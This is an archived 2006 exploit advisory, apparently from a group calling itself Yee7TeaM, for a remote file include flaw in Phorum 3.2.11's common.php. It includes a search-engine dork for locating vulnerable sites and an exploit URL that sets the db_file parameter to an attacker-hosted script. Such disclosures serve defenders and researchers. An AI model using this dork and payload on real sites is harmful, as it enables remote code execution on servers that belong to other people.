Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:15319
HistoryDec 06, 2006 - 12:00 a.m.

Phorum <= 3.2.11 (common.php) Remote File Include Vulnerability

2006-12-0600:00:00
vulners.com
25

===========================================================
Yee7TeaM

WwW.Yee7.CoM

Software: Phorum v3.2.11

Vendor: http://www.phorum.org/

Download: http://skrypty.webpc.pl/pobierz274.html

Dork: "Copyright (C) 2000 Phorum Development Team" and back form doc
folder :)

Description:

Line 31 of common.php

>
>> // $db_file = './db/postgresql65.php';
>

Exploit: http://[localhost]/[paTh]/common.php?db_file=[Ev!lScript]

===========================================================
By: Mr-m07
Thanx To: ShockShadow & AL-SHIKH
WwW.Yee7.CoM